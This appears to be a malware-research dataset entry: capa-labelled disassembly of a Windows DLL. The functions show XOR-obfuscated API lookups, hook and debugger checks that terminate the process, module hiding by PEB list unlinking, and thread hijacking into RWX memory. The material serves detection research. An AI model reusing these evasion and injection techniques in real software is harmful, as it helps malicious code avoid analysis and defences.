joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10014f20
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [0x1012507c]
xor eax, esp
mov dword [esp + 0x18], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
jne 0x10014f6a
mov dword [edi], 0
mov eax, edi
mov dword [edi + 4], 0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.10052b20
mov esp, ebp
pop ebp
ret
cmp dword [esp + 0x1c], 0
jg 0x10014f7a
jl 0x10014f49
cmp dword [esp + 0x18], 0
jbe 0x10014f49
mov ebx, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea eax, [esp + 0x10]
push eax
xor esi, esi
call ebx
test eax, eax
jne 0x10014fa1
nop dword [eax]
inc esi
cmp esi, 3
ja 0x10014f49
lea eax, [esp + 0x10]
push eax
call ebx
test eax, eax
je 0x10014f90
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
call fcn.10054380
mulsd xmm0, qword [0x10116e98]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
movsd qword [esp + 0x10], xmm0
call fcn.10054380
movsd xmm1, qword [esp + 0x10]
divsd xmm1, xmm0
movaps xmm0, xmm1
call fcn.1005422f
mov ecx, dword [esp + 0x24]
mov dword [edi], eax
mov eax, edi
mov dword [edi + 4], edx
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10052b20
mov esp, ebp
pop ebp
ret

Function at 0x100151d0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x1012507c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov edi, ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1001522c
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
cmp dword [ebp - 0x128], edi
je 0x10015246
lea eax, [ebp - 0x130]
push eax
push esi
call ebx
test eax, eax
jne 0x10015216
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10052b20
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10052b20
mov esp, ebp
pop ebp
ret

Function at 0x100153b0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, 1
mov dword [0x10125aec], edx
mov ecx, edx
shr ecx, 0x1e
xor ecx, edx
imul edx, ecx, 0x6c078965
add edx, eax
mov dword [eax*4 + 0x10125aec], edx
inc eax
cmp eax, 0x270
jl 0x100153c1
mov dword [0x10125ae8], 0x270
pop ebp
ret 8
Function at 0x100154e0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
lea eax, [ecx + 8]
mov esi, 0x270
nop dword [eax]
mov edx, dword [eax - 4]
lea eax, [eax + 4]
xor edx, dword [eax - 4]
and edx, 0x7fffffff
xor edx, dword [eax - 8]
mov ecx, edx
and cl, 1
movzx ecx, cl
neg ecx
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [eax + 0x62c]
xor ecx, edx
mov dword [eax + 0x9b8], ecx
sub esi, 1
jne 0x100154f0
pop esi
ret

Function at 0x10015530
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov ebx, ecx
mov ecx, 0xe3
push esi
push edi
lea edi, [ebx + 0x9c4]
mov edx, dword [edi + 4]
lea edi, [edi + 4]
xor edx, dword [edi - 4]
and edx, 0x7fffffff
xor edx, dword [edi - 4]
mov eax, edx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr edx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x630]
xor eax, edx
mov dword [edi - 0x9c4], eax
sub ecx, 1
jne 0x10015540
lea esi, [ebx + 0xd50]
mov edi, 0x18c
mov ecx, dword [esi + 4]
lea esi, [esi + 4]
xor ecx, dword [esi - 4]
and ecx, 0x7fffffff
xor ecx, dword [esi - 4]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi - 0xd50]
xor eax, ecx
mov dword [esi - 0x9c4], eax
sub edi, 1
jne 0x10015582
mov ecx, dword [ebx + 0x1380]
xor ecx, dword [ebx + 4]
and ecx, 0x7fffffff
xor ecx, dword [ebx + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [ebx + 0x634]
xor eax, ecx
mov dword [ebx + 0x9c0], eax
mov dword [ebx], edi
pop edi
pop esi
pop ebx
ret
Function at 0x10018010
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x1c], 0x4a2b2f78
xor esi, esi
mov dword [ebp - 0x18], 0x564a4b27
mov dword [ebp - 0x14], 0x14141c
cmp esi, 0xb
jb 0x1001804c
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.10043280
add esp, 0xc
mov bl, byte [ebp + esi - 0x1b]
xor bl, byte [ebp - 0x1c]
cmp esi, 0xb
jb 0x1001806f
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.10043280
add esp, 0xc
mov byte [ebp + esi - 0x1b], bl
inc esi
cmp esi, 0xa
jb 0x10018030
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x11], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
jne 0x10018098
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x10], 0x6c677102
xor esi, esi
mov word [ebp - 0xc], 0x66
cmp esi, 5
jb 0x100180c3
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.10043280
add esp, 0xc
mov bl, byte [ebp + esi - 0xf]
xor bl, byte [ebp - 0x10]
cmp esi, 5
jb 0x100180e6
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.10043280
add esp, 0xc
mov byte [ebp + esi - 0xf], bl
inc esi
cmp esi, 4
jb 0x100180a7
lea eax, [ebp - 0xf]
mov byte [ebp - 0xb], 0
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
test eax, eax
je 0x10018090
mov ecx, eax
call fcn.100179c0
cmp al, 0xe9
je 0x10018090
mov dword [ebp - 0x10], 0xf1d194e
xor esi, esi
mov dword [ebp - 0xc], 0x2a202b1d
mov byte [ebp - 8], 0
cmp esi, 8
jb 0x10018140
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.10043280
add esp, 0xc
mov bl, byte [ebp + esi - 0xf]
xor bl, byte [ebp - 0x10]
cmp esi, 8
jb 0x10018163
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.10043280
add esp, 0xc
mov byte [ebp + esi - 0xf], bl
inc esi
cmp esi, 7
jb 0x10018124
lea eax, [ebp - 0xf]
mov byte [ebp - 8], 0
push eax
push dword [ebp - 4]
call edi
pop edi
pop esi
pop ebx
test eax, eax
je 0x1001818c
mov ecx, eax
call fcn.100179c0
cmp al, 0xe9
jne 0x10018194
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x100181a0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x1c], 0x63020651
xor esi, esi
mov dword [ebp - 0x18], 0x7f63620e
mov dword [ebp - 0x14], 0x3d3d35
cmp esi, 0xb
jb 0x100181dc
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.10043280
add esp, 0xc
mov bl, byte [ebp + esi - 0x1b]
xor bl, byte [ebp - 0x1c]
cmp esi, 0xb
jb 0x100181ff
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.10043280
add esp, 0xc
mov byte [ebp + esi - 0x1b], bl
inc esi
cmp esi, 0xa
jb 0x100181c0
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x11], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
jne 0x10018228
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x10], 0x383e295b
xor esi, esi
mov word [ebp - 0xc], 0x2d
cmp esi, 5
jb 0x10018253
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.10043280
add esp, 0xc
mov bl, byte [ebp + esi - 0xf]
xor bl, byte [ebp - 0x10]
cmp esi, 5
jb 0x10018276
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.10043280
add esp, 0xc
mov byte [ebp + esi - 0xf], bl
inc esi
cmp esi, 4
jb 0x10018237
lea eax, [ebp - 0xf]
mov byte [ebp - 0xb], 0
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
test eax, eax
je 0x10018220
mov ecx, eax
call fcn.100179c0
cmp al, 0xe9
je 0x10018220
mov dword [ebp - 0x10], 0x121641
xor esi, esi
mov dword [ebp - 0xc], 0x37222413
mov byte [ebp - 8], 0
cmp esi, 8
jb 0x100182d0
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.10043280
add esp, 0xc
mov bl, byte [ebp + esi - 0xf]
xor bl, byte [ebp - 0x10]
cmp esi, 8
jb 0x100182f3
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.10043280
add esp, 0xc
mov byte [ebp + esi - 0xf], bl
inc esi
cmp esi, 7
jb 0x100182b4
lea eax, [ebp - 0xf]
mov byte [ebp - 8], 0
push eax
push dword [ebp - 4]
call edi
pop edi
pop esi
pop ebx
test eax, eax
je 0x1001831c
mov ecx, eax
call fcn.100179c0
cmp al, 0xe9
jne 0x10018324
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x10019520
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1012507c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0x6d12c0
call fcn.100179c0
cmp al, 0xe9
jne 0x10019546
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push 4
push 0x6d12c0
call esi
test eax, eax
jne 0x10019589
mov dword [0x1012a774], 0x6d12c0
call fcn.10051770
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.10051c40
push 0x100183a0
push 0x1012a774
call fcn.10050ff0
call fcn.100517d0
push 4
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x6d141e
push eax
call esi
test eax, eax
jne 0x100195cd
push 4
push 0x10018330
call esi
test eax, eax
jne 0x100195cd
call fcn.10051770
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.10051c40
push 0x10018330
lea eax, [ebp - 8]
push eax
call fcn.10050ff0
call fcn.100517d0
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10052b20
mov esp, ebp
pop ebp
ret
Function at 0x1001ba80
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x1012507c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov dword [ebp - 0x2f4], 0x140c2a78
xor esi, esi
mov dword [ebp - 0x2f0], 0x1c191734
mov dword [ebp - 0x2ec], 0x110a0c2b
mov word [ebp - 0x2e8], 0x1f16
mov byte [ebp - 0x2e6], 0
push ebx
cmp esi, 0xe
jb 0x1001bae1
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.10043280
add esp, 0xc
mov bl, byte [ebp + esi - 0x2f3]
xor bl, byte [ebp - 0x2f4]
cmp esi, 0xe
jb 0x1001bb0a
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.10043280
add esp, 0xc
mov byte [ebp + esi - 0x2f3], bl
inc esi
cmp esi, 0xd
jb 0x1001bac5
mov byte [ebp - 0x2e6], 0
xor esi, esi
mov dword [ebp - 0x2e4], 0x45554f21
mov dword [ebp - 0x2e0], 0x450f4d4d
mov word [ebp - 0x2dc], 0x4d4d
mov byte [ebp - 0x2da], 0
cmp esi, 0xa
jb 0x1001bb60
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.10043280
add esp, 0xc
mov bl, byte [ebp + esi - 0x2e3]
xor bl, byte [ebp - 0x2e4]
cmp esi, 0xa
jb 0x1001bb89
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.10043280
add esp, 0xc
mov byte [ebp + esi - 0x2e3], bl
inc esi
cmp esi, 9
jb 0x1001bb44
lea eax, [ebp - 0x2f3]
mov byte [ebp - 0x2da], 0
push eax
lea eax, [ebp - 0x2e3]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
pop ebx
add esi, 0x430
jne 0x1001bbd4
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10052b20
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1001bbc3
push 0x2cc
lea eax, [ebp - 0x2d8]
push 0
push eax
call fcn.10058140
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001bbc3
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x1001bbc3
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1001bbc3
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x100024b0
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1001bbc3
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.10052b20
mov esp, ebp
pop ebp
ret
Function at 0x1001bdd0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1001be0e
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001be12
cmp edx, esi
jne 0x1001bdf7
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x1001be32
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001be36
cmp edx, esi
jne 0x1001be1b
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x1001be56
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001be5a
cmp edx, esi
jne 0x1001be3f
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001bf10
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1012507c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
call fcn.100151d0
test eax, eax
je 0x1001c06b
push esi
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
xor ebx, ebx
test eax, eax
setne bl
test ebx, ebx
je 0x1001c06b
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x1001c06b
movaps xmm0, xmmword [0x10116f40]
xor esi, esi
movups xmmword [ebp - 0x24], xmm0
nop dword [eax + eax]
cmp esi, 0xf
jb 0x1001bf8c
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.10043280
add esp, 0xc
mov bl, byte [ebp + esi - 0x23]
xor bl, byte [ebp - 0x24]
cmp esi, 0xf
jb 0x1001bfaf
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.10043280
add esp, 0xc
mov byte [ebp + esi - 0x23], bl
inc esi
cmp esi, 0xe
jb 0x1001bf70
mov byte [ebp - 0x15], 0
xor esi, esi
mov dword [ebp - 0x14], 0x35253f51
mov dword [ebp - 0x10], 0x357f3d3d
mov word [ebp - 0xc], 0x3d3d
mov byte [ebp - 0xa], 0
cmp esi, 0xa
jb 0x1001bff3
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.10043280
add esp, 0xc
mov bl, byte [ebp + esi - 0x13]
xor bl, byte [ebp - 0x14]
cmp esi, 0xa
jb 0x1001c016
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.10043280
add esp, 0xc
mov byte [ebp + esi - 0x13], bl
inc esi
cmp esi, 9
jb 0x1001bfd7
lea eax, [ebp - 0x23]
mov byte [ebp - 0xa], 0
push eax
lea eax, [ebp - 0x13]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x116e058
mov edi, eax
call fcn.10017a30
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x1001c088
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push esi
call edi
test eax, eax
jns 0x1001c073
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp - 8], 0
jbe 0x1001c081
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10052b20
mov esp, ebp
pop ebp
ret
Function at 0x1003ceb0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100d9aee
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x1012507c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x84], 0
mov dword [ebp - 4], 0
lea eax, [ebp + 0xc]
cmp dword [ebp + 0x20], 0x10
lea ecx, [ebp - 0x7c]
push dword [ebp + 0x1c]
cmovae eax, dword [ebp + 0xc]
push eax
mov byte [ebp - 0x7c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
call fcn.1003cc60
lea ecx, [ebp - 0x7c]
call fcn.1003cd10
push esi
lea ecx, [ebp - 0x7c]
call fcn.1003ce00
mov eax, dword [ebp + 0x20]
cmp eax, 0x10
jb 0x1003cf5c
inc eax
push 1
push eax
push dword [ebp + 0xc]
call fcn.10007570
add esp, 0xc
mov dword [ebp + 0x20], 0xf
mov dword [ebp + 0x1c], 0
mov byte [ebp + 0xc], 0
lea ecx, [ebp + 8]
mov dword [ebp - 4], 1
call fcn.10007050
lea ecx, [ebp + 8]
call fcn.10006ef0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10052b20
mov esp, ebp
pop ebp
ret

Function at 0x1003ebe0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, ecx
mov ebx, 1
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [eax + 8], edi
mov dword [eax + 0xc], esi
add eax, 0x10
mov dword [ebp + 0xc], eax
push 0x5851f42d
xor eax, eax
mov ecx, esi
push 0x4c957f2d
shr ecx, 0x1e
xor eax, esi
xor ecx, edi
push eax
push ecx
call fcn.10053ed0
mov edi, eax
mov esi, edx
mov eax, ebx
cdq
add edi, eax
mov eax, dword [ebp + 0xc]
adc esi, edx
inc ebx
mov dword [eax], edi
mov dword [eax + 4], esi
add eax, 8
mov dword [ebp + 0xc], eax
cmp ebx, 0x138
jl 0x1003ec03
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov dword [eax], 0x138
mov esp, ebp
pop ebp
ret 0x10
Function at 0x10042fb0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x1012507c]
xor eax, ebp
mov dword [ebp - 4], eax
movups xmm0, xmmword [str._pipediscord_ipc_0]
mov eax, dword [0x10116e3c]
push ebx
push esi
push edi
push 0
push 0
mov dword [ebp - 0xc], eax
mov esi, ecx
mov ax, word [0x10116e40]
push 3
movups xmmword [ebp - 0x34], xmm0
push 0
movups xmm0, xmmword [0x10116e24]
mov word [ebp - 8], ax
mov eax, 0x30
push 0
mov word [ebp - 0xa], ax
lea eax, [ebp - 0x34]
movups xmmword [ebp - 0x24], xmm0
push 0xc0000000
movq xmm0, qword [0x10116e34]
push eax
movq qword [ebp - 0x14], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
jne 0x10043080
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
call edi
cmp eax, 2
jne 0x10043049
mov ax, word [ebp - 0xa]
cmp ax, 0x39
jae 0x10043096
inc ax
mov word [ebp - 0xa], ax
jmp 0x1004305f
cmp eax, 0xe7
jne 0x10043096
push 0x2710
lea eax, [ebp - 0x34]
push eax
call ebx
test eax, eax
je 0x10043096
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
je 0x10043030
pop edi
mov byte [esi], 1
mov al, 1
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10052b20
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10052b20
mov esp, ebp
pop ebp
ret

Function at 0x100471e0
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0x10047170
push 0x10128df4
call fcn.1004cf80
add esp, 8
cmp dword [0x10125064], 0xffffffff
je 0x10047229
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [0x10125064]
push ecx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x10047227
push 0x70
push 0x100e19d0
push str.TlsSetValue_current_thread_tls_key__new_data_
call fcn.10075060
add esp, 0xc
jmp 0x10047241
xor eax, eax
jne 0x10047241
push 0x74
push 0x100e1a78
push 0x100e1abc
call fcn.10075060
add esp, 0xc
pop ebp
ret
Function at 0x10049ab0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100da80c
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x1012507c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov dword [eax], vtable.boost::detail::thread_data_base.0
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 4], 0
mov ecx, dword [ebp - 0x10]
add ecx, 8
call fcn.100b84e0
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x10]
mov dword [edx + 0xc], 0
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x10], 0
mov ecx, dword [ebp - 0x10]
add ecx, 0x14
call fcn.10049740
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x10]
add ecx, 0x20
call fcn.10049870
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x10]
add ecx, 0x30
call fcn.10049870
mov byte [ebp - 4], 3
push 0
push 1
call fcn.1000a450
add esp, 8
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x40
call fcn.10058be0
mov ecx, dword [ebp - 0x10]
mov byte [ecx + 0x44], 1
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x1004fe50
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.10050020
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x1004ff2d
mov edx, dword [ebp - 4]
cmp edx, dword [0x10125068]
jb 0x1004fe9a
mov eax, dword [ebp - 4]
cmp eax, dword [0x1012506c]
ja 0x1004fe9a
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1004fe6a
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.10058140
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1004febf
jmp 0x1004ff2d
cmp dword [ebp - 0x14], 0x10000
jne 0x1004ff13
cmp dword [ebp - 0x18], 0x10000
jb 0x1004ff13
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1004fef6
mov eax, dword [ebp - 8]
jmp 0x1004ff2f
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x1004ff06
xor eax, eax
jmp 0x1004ff2f
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1004ff28
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.10050020
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1004fe6a
xor eax, eax
mov esp, ebp
pop ebp
ret